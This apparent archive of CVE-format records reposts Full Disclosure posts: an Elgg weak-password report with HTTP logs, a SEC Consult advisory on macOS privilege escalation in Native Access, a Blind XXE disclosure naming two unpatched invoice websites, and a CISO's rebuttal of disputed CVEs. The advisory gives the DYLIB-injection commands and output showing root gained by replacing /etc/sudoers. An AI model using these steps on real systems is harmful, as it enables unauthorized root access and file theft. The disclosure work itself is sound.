Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Weak Password Complexity",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Andrey Stoykov"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Exploit Title: Elgg - Lack of Password Complexity\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-48-weak.html\n\n// HTTP Request - Changing Password\n\nPOST /action/usersettings/save HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 216\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/settings/user/admin\nCookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=nIY_M_wh53bUxoHvuKO1YA\u0026__elgg_ts=1769266299\u0026username=admin\u0026name=Admin+User\u0026email_password=\u0026email=\nadmin () example com\n\u0026current_password=[REDACTED]\u0026password=Passw0rd%21\u0026password2=Passw0rd%21\u0026language=en\u0026guid=46\n\n\n// HTTP Response - Changing Password\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:52:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/settings/user/admin\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 394\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"UTF-8\" /\u003e\n        \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027\nhttp://elgg.local/settings/user/admin\u0027\"; /\u003e\n\n        \u003ctitle\u003eRedirecting to http://elgg.local/settings/user/admin\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        Redirecting to \u003ca href=\"http://elgg.local/settings/user/admin\";\u003e\nhttp://elgg.local/settings/user/admin\u003c/a\u003e.\n    \u003c/body\u003e\n\u003c/html\u003e\n\n\n// HTTP Request - Changing Password - Following Redirect\n\nGET /settings/user/admin HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/usersettings/save\nCookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n\n\n// HTTP Response - Changing Password - Following Redirect\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:52:11 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 27859\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-success\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003ePassword changed\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/29"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/29"
        },
        {
          "url": "http://elgg.local"
        },
        {
          "url": "http://elgg.local/action/usersettings/save"
        },
        {
          "url": "http://elgg.local/settings/user/admin"
        },
        {
          "url": "http://elgg.local/settings/user/admin\""
        },
        {
          "url": "http://elgg.local/settings/user/admin\u0027\""
        },
        {
          "url": "https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-48-weak.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/29"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Weak Password Complexity - elggv6.3.3",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0193",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/29",
            "automated": true,
            "contentSha256": "18cfea4f759fd84244b618cc40ebf3187468c436649ef826365957fccaee8142",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/29",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-24T18:01:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0193"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260202-0",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260202-0 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n            product: Native Instruments - Native Access (MacOS)\n vulnerable version: verified up to 3.22.0\n      fixed version: n/a\n         CVE number: CVE-2026-24070, CVE-2026-24071\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.native-instruments.com/en/specials/native-access/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-07-22\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Native Instruments is a leading manufacturer of software and hardware\nfor computer-based audio production and DJing. In June of 2023, iZotope,\nPlugin Alliance and Brainworx joined us in our mission to develop innovative,\nfully-integrated solutions for every creative task, profession, and skill level.\"\n\nSource:https://www.native-instruments.com/en/company/\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unreachable and did not respond to multiple contact attempts.\nNo patch is available. Customers should contact the vendor and request a\npatch.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)\nDuring the installation of the Native Access application, a privileged helper\n`com.native-instruments.NativeAccess.Helper2`, which is used by Native Access\nto trigger functions via XPC communication like copy-file, remove or\nset-permissions, is deployed as well.\n\nThe communication with the XPC service of the privileged helper is only allowed\nif the client process is signed with the corresponding certificate and\nfulfills the following code signing requirement:\n\"anchor trusted and certificate leaf[subject.CN] = \\\"Developer ID Application: Native Instruments GmbH (83K5EG6Z9V)\\\"\"\n\nThe Native Access application was found to be signed with the\n`com.apple.security.cs.allow-dyld-environment-variables` and\n`com.apple.security.cs.disable-library-validation` entitlements leading to DYLIB\ninjection and therefore command execution in the context of this application.\n\nA low privileged user can exploit the DYLIB injection to trigger functions of\nthe privileged helper XPC service resulting in privilege escalation by first\ndeleting the /etc/sudoers file and then copying a malicious version of that file\nto /etc/sudoers.\n\n\n2) XPC Client Validation via PID (CVE-2026-24071)\nIt was found that the XPC services uses the PID of the connecting client to\nverify its code signature. This is considered insecure and can be exploited\nby PID reuse attacks.\n\nThe connection handler function uses _xpc_connection_get_pid(arg2) as argument\nfor the hasValidSignature function. This value can not be trusted since it is\nvulnerable to PID reuse attacks.\n----------------------------------------------------------------------------\n10000a60c    int64_t ___main_block_invoke(int64_t arg1, xpc_object_t arg2)\n\n10000a630        if (_xpc_get_type(object: arg2) != __xpc_type_connection)\n10000a64c            return _syslog$DARWIN_EXTSN(5, \"Unexpected type\")\n10000a64c\n10000a65c        if ((hasValidSignature(_xpc_connection_get_pid(arg2)) \u0026 1) == 0)\n10000a66c            _syslog$DARWIN_EXTSN(5, \"Refused connection from client with bad signature\")\n10000a674            _xpc_connection_cancel(arg2)\n10000a674\n10000a684        _xpc_connection_set_event_handler(arg2, \u0026___block_literal_global)\n10000a694        return _xpc_connection_activate(arg2) __tailcall\n----------------------------------------------------------------------------\n\n3) No Path validation in Delete and Copy file\nWhen triggering file copy or delete call via XPC, the service does not check if it\nshould be allowed to delete or copy the file. No restrictions are applied for\ncopying or deleting files. These missing restrictions lead to privilege escalation\ndue to the possibility to delete and then write to /etc/sudoers or /Library/LaunchDaemons.\n\nThis issue is not exploitable on its own without a vulnerability allowing for\nconnection to the privileged helper. However the other two vulnerabilities\ndescribed in this advisory allow exactly that.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)\nTo check for the dangerous entitlements\n`com.apple.security.cs.allow-dyld-environment-variables` and\n`com.apple.security.cs.disable-library-validation` the \"codesign\" utility of\nMacOS can be used:\n\n----------------------------------------------------------------------------\nlowpriv@Users-Mac exploit % codesign -dvv --entitlements :- /Applications/Native\\ Access.app/Contents/MacOS/Native\\ \nAccess\nExecutable=/Applications/Native Access.app/Contents/MacOS/Native Access\nIdentifier=com.native-instruments.nativeaccess2\n[...]\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST \n1.0//EN\"\"https://www.apple.com/DTDs/PropertyList-1.0.dtd\";\u003e\u003cplist version=\"1.0\"\u003e\n        \u003cdict\u003e\n                \u003ckey\u003ecom.apple.security.cs.allow-dyld-environment-variables\u003c/key\u003e\n                \u003ctrue/\u003e\n                \u003ckey\u003ecom.apple.security.cs.allow-jit\u003c/key\u003e\n                \u003ctrue/\u003e\n                \u003ckey\u003ecom.apple.security.cs.allow-unsigned-executable-memory\u003c/key\u003e\n                \u003ctrue/\u003e\n                \u003ckey\u003ecom.apple.security.cs.disable-library-validation\u003c/key\u003e\n                \u003ctrue/\u003e\n        \u003c/dict\u003e\n\u003c/plist\u003e\n----------------------------------------------------------------------------\n\nThe privileged helper located at\n/Library/PrivilegedHelperTools/com.native-instruments.NativeAccess.Helper2\nwas found to check the code signature of the XPC client before running any\naction. Due to the DYLIB injection vulnerability in the Native Access executable\nit is possible to execute code in the context of the process of Native Access\nwhich has a valid signature for the needed Team ID. The XPC service exposed\nmultiple functions, e.g. copy-file and remove.\n\nThe following code was used to craft a malicious DYLIB, which on load connects\nto the privileged helper XPC service and deletes the /etc/sudoers file as such\nthat it can then copy a malicious version of the sudoers file to /etc/sudoers.\n\n[ PoC exploit code removed ]\n\nOn a Mac system with the developer tools installed the PoC library can be compiled\nas follows:\n\n----------------------------------------------------------------------------\n$ clang -framework Foundation -dynamiclib -o libxpcclient.dylib libxpcclient.m\n----------------------------------------------------------------------------\n\nBefore running the exploit ensure that the file /tmp/bad_sudoers exists and\nis a valid sudoers file! The exploit can then be executed using the DYLIB\ninjection:\n\n----------------------------------------------------------------------------\n$ DYLD_INSERT_LIBRARIES=\u003cpath_to_DYLIB\u003e \"/Applications/Native Access.app/Contents/MacOS/Native Access\"\n----------------------------------------------------------------------------\n\nThe bad_sudoers file will then be copied to /etc/sudoers.\n\n----------------------------------------------------------------------------\nlowpriv@Users-Mac ~ % id\nuid=503(lowpriv) gid=20(staff) \ngroups=20(staff),12(everyone),61(localaccounts),399(com.apple.access_ssh-disabled),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),100(_lpoperator),702(com.apple.sharepoint.group.2)\nlowpriv@Users-Mac ~ % sudo id\nPassword:\nlowpriv is not in the sudoers file.\nThis incident has been reported to the administrator.\n\nlowpriv@Users-Mac ~ % DYLD_INSERT_LIBRARIES=/Users/lowpriv/Desktop/exploit/libxpcclient.dylib \"/Applications/Native \nAccess.app/Contents/MacOS/Native Access\"\n2025-07-22 05:38:03.334 Native Access[35760:498359] [+] Dylib loaded. Starting XPC communication...\n2025-07-22 05:38:03.458 Native Access[35760:498359] Received reply:\n2025-07-22 05:38:03.458 Native Access[35760:498359] success: \u003cbool: 0x20a033370\u003e: true\n2025-07-22 05:38:03.466 Native Access[35760:498359] Received reply:\n2025-07-22 05:38:03.466 Native Access[35760:498359] success: \u003cbool: 0x20a033370\u003e: true\n^C\n\nlowpriv@Users-Mac ~ % sudo id\nPassword:\nuid=0(root) gid=0(wheel) \ngroups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)\n----------------------------------------------------------------------------\n\n\n2) XPC Client Codesign via PID (CVE-2026-24071)\nTo exploit the PID usage for the client validation, a known PID reuse attack\ncan be used. There are several templates for this attack available.\nThe following code can be used to exploit this:\n\n[ PoC exploit code removed ]\n\n\n3) No Path validation in Delete and Copy file\nNo PoC available.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions have been tested on MacOS Sequoia and MacOS Tahoe:\n* verified on 3.18.1, 3.19.0, 3.20.1, 3.21.0, 3.21.1 and up to 3.22.0\n  (potentially all lower versions might be vulnerable too).\n\n\nVendor contact timeline:\n------------------------\n2025-07-23: Contacting vendor throughinfo () native-instruments com; No response\n2025-08-07: Contacting vendor again, adding various other emails\n            found on the website. No response.\n2025-09-16: Trying to establish contacts via LinkedIn. No response.\n2025-10-13: Registering support account and using \"Support Chat\" function.\n            No response except spam newsletters.\n2026-02-02: Release of advisory.\n\n\nSolution:\n---------\nThe vendor was unreachable and did not respond to multiple contact attempts.\nNo patch is available. Customers should contact the vendor and request a\npatch.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://secli"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/4"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.apple.com/DTDs/PropertyList-1.0.dtd\""
        },
        {
          "url": "https://www.native-instruments.com/en/company/"
        },
        {
          "url": "https://www.native-instruments.com/en/specials/native-access/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260202-0 :: Multiple vulnerabilities in Native Instruments Native Access (MacOS)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24070",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24071",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0189",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/4",
            "automated": true,
            "contentSha256": "e8b6e5c1d222541daa077cc0ae350faec1f94331ec0695f4d95b8fa00bdeecf6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-02T14:34:52Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0189"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0189"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Blind XXE in",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Hanno B\u00f6ck"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "During tests of electronic invoicing tools, I discovered multiple XXE\nand Blind XXE vulnerabilities in online tools parsing electronic\ninvoices in XML formats.\n\nWhile most of the affected tools have fixed these vulnerabilities, two\nonline tools remain vulnerable to Blind XXE attacks, allowing\nexfiltration of files. Disclosure to the affected operators happened\nmore than 90 days ago.\n\nVulnerable tools:\n\nhttps://validator.invoice-portal.de/\nhttps://xrechnung.rib.de/ (only the visualization tool)\n\nIn both cases, uploading an invoice with a blind XXE payload leads to\nHTTP requests to the attacker\u0027s server and exfiltrates file content.\nProof of concepts, e.g., to exfiltrate /etc/hostname\n(ciibxxehostname.xml), can be found here:\n  https://github.com/hannob/invoicesec\n\n\nTimeline validator.invoice-portal.de:\n2025-11-17 Informed support contact about Blind XXE vulnerability, no\nreply\n2026-02-16 Still vulnerable, public disclosure\n\nTimeline xrechnung.rib.de:\n2025-10-29 Reported \"standard\" XXE via contact form, no reply\n2025-11-18 Re-test, incomplete fix: \"Standard\" XXE fixed, Blind XXE\nstill possible\n2025-11-18 Re-reported incomplete fix, no reply\n2026-02-16 Still vulnerable, public disclosure\n\nThis was part of a larger research effort about the security of EU\nelectronic invoices:\n  https://invoice.secvuln.info/\n\n-- \nHanno B\u00f6ck - Independent security researcher\nhttps://itsec.hboeck.de/\nhttps://badkeys.info/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/20"
        },
        {
          "url": "https://badkeys.info/"
        },
        {
          "url": "https://github.com/hannob/invoicesec"
        },
        {
          "url": "https://invoice.secvuln.info/"
        },
        {
          "url": "https://itsec.hboeck.de/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://validator.invoice-portal.de/"
        },
        {
          "url": "https://xrechnung.rib.de/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Blind XXE in Electronic Invoice online tools (validator.invoice-portal.de, xrechnung.rib.de)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0186",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/20",
            "automated": true,
            "contentSha256": "af11b28805d327d5357150ff1f7b2f84ef33264082dbaf31b009dfea5e6473f3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-16T09:48:05Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0186"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Marco Ermini via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hello everyone,\n\n\n\nKindly let me introduce myself. This is the first \u2013 and potentially, last \u2013 message on this mailing list. I am Marco, \nthe CISO of EQS Group. Kindly allow me to address some of the statements expressed publicly here.\n\n\n\nAbout the Convercent application\n\n\n\nConvercent was acquired by OneTrust in 2021, and in turn, EQS has acquired it from OneTrust at the end of 2024. Before \nbeing acquired by EQS, the Convercent application has not received much love in the latest years, and EQS has since \nthen proceeded to migrate its customers to the EQS Compliance COCKPIT, which is a modern, supported, and secure SaaS. \nThe Convercent application is sunset and will be finally switched off by mid of 2026.\n\n\n\nCurrently, Convercent is supported by EQS on a best-effort basis; despite that, EQS Group has committed to fix all \ncritical vulnerabilities until the last customer is fully migrated. We want our customers to migrate to our best \nservice because it is better \u2013 not rush them in our new product because what we inherited from an acquisition is \ninsecure.\n\n\n\n\n\nThe vulnerabilities\n\n\n\nThe two issues disclosed are either minor in nature or do not constitute vulnerabilities. One was a lack of certain \nHTTP headers (some of the reported ones where wrong, but regardless, still hardly something CVE-worthy), and the second \nwas about an \u201cexposed\u201d API; however, it is public by design as this is how the application works: it is a page where \ncustomers \u2013 who have explicitly agreed and signed off to be present \u2013 are added to a drop-down list, fed from this \npublic API. The web page exposes the list of customers by design.\n\n\n\nWhile we may reasonably question whether this page reflects current secure-by-design standards, this brings zero added \nrisk to any of the EQS customers and Convercent users.\n\n\n\nI strongly disagree with the ideas that those \u201cvulnerabilities\u201d could become CVEs \u2013 regardless of the status of the \nSaaS security and how CVEs are handled. Therefore, we proceeded to ask for their removal from the CVSS database, so not \nto alarm our customers with false positives. The responsible CNA agreed immediately to remove them (thank you very \nmuch, VulnCheck!).\n\n\n\n\n\nCommunication with our customers\n\n\n\nEQS Group communicates with its customers through established and appropriate channels \u2013 notably, our Trust Center \u2013 \nand not via anonymous mailing lists. Customers have received and will continue to receive all the notifications they \nhave contractually required to obtain, and where relevant, additional context beyond those obligations.\n\n\n\nCustomers have received a briefing about the activity happening on this mailing list via our Trust Center.\n\n\n\n\n\nThe status of SaaS Security\n\n\n\nAs EQS Group is a CNA candidate, we participate and closely follow discussions between MITRE, CISA, and the German BSI, \nabout vulnerability reporting for SaaS. While we have not heard any news on this front since the last two years, EQS \nGroup remains committed to aligning with applicable best practices as they evolve.\n\n\nWe believe that meaningful progress in SaaS security is best achieved through structured, collaborative forums with \nclear governance, rather than responding to ad-hoc reports of unvetted findings. EQS Group already participates to \nproper, professional working groups on SaaS security, for instance through the Cloud Security Alliance. If other \nworking groups will emerge through any of the official organisms already mentioned, we will certainly participate.\n\n\nIn general, as a principle, CVEs have been created many years ago, at a time where \u201cthe Cloud\u201d did not exist in its \ncurrent form. They were conceived so that users who procured a software from a development company and installed it on \ntheir system, could be notified when the software they have installed, manifested a security issue. In that way, they \ncould procure the patch and fix it before a misuse could happen.\n\n\nNow, except for very particular and edge cases, this is largely inapplicable to SaaS, where there is very little users \ncan do and solely rely on the Cloud Service Provider to fix any vulnerability. There is almost never any real ground \nfor a SaaS provider to notify a customer \u2013 unless of course a breach has been detected, but in that case we are way \nbeyond a CVE and we are on a different territory. For a SaaS, even knowing that the application had a bug, does not \nhelp the user in any way. This is why typically CVEs as a concept are not the proper tool to address SaaS \nvulnerabilities, and in general, rushing to disclose them only damages the users; a disclosure does not help them in \nany way.\n\n\n\n\nResponse to the \u201cResponsible\" Disclosure\n\n\n\nAbout the \u201cresponsible\" disclosure: EQS Group receives a significant volume of \u201cvulnerability notifications\u201d like that \none. Almost all of them are low or irrelevant issues from anonymous users looking to make a buck; they are typically \nabout a missing HTTP headers or lack of optional DNS records. Given the scale of our environment, it can happen that \nsome record is not updated, but this has little relevance to the security of our platforms. We also cannot always reply \nto all those messages, and most of them seem AI or automatically generated.\n\n\n\nThe notification from \u201cYuffie Kisaragi\u201d was sent to us on the 4th of December and went to Junk due to the low \nreputation of the email used. The author then rushed to obtain two CVE IDs less than two weeks later and subsequently \nlost no time posting them on this list.\n\n\n\nEQS Group is certainly not perfect, but if these would have been real vulnerabilities, I argue that this would have not \nqualified as a \u201cresponsible\u201d disclosure by any reasonable standard.\n\n\n\nFurther communications\n\n\nEQS Group\u2019s vulnerability handling policy is listed here\u003chttps://www.eqs.com/report-a-vulnerability/#handle\u003e \u2013  \nhttps://www.eqs.com/report-a-vulnerability/ \u2013 and we strongly suggest anyone to read it before they issue a report.\n\n\n\nIn this regard, we would like to point out the followings:\n\n  1.  For several reasons \u2013 legal, commercial, policy, and ethical \u2013 EQS Group is unable to respond to requests for \npayment of bounties outside of an official bug bounty program.\n  2.  EQS Group does nor remunerate bugs that were already discovered internally and were already in resolution.\n  3.  EQS Group strongly discourages non-approved, un-vetted testing on EQS Group\u2019s infrastructure. They can and will \nbe perceived as hostile activity. Testing is encouraged only within officially approved bug bounty programs, in respect \nto the established rules of engagement.\n  4.  Kindly avoid pointless reports on MTA-STS records, DMARC, quantum ciphers, and other junk like that. It makes our \nlife easier.\n\n\n\nThank you for your attention.\n\nBest regards / mit freundlichen Gr\u00fc\u00dfen / Cordiali saluti\n\nDr Marco Ermini (He/Him)\nChief Information Security Officer (CISO)\n\nMarco.Ermini () eqs com\u003cmailto:Marco.Ermini () eqs com;\u003e\n\n[LinkendIn]\u003chttps://www.linkedin.com/in/marcoermini/\u003e\nVereinbaren Sie einen Termin mit mir\u003chttps://outlook.office365.com/owa/calendar/BookaMeetingwithMarco () eqs \ncom/bookings/\u003e\n[EQS Group Logo]\u003chttps://www.eqs.com/?keyword=email-footer\u003e\n\n[EQS Compliance COCKPIT]\u003chttps://www.eqs.com/de/platform-compliance-ethics/?keyword=email-footer\u003e\nEQS Group GmbH 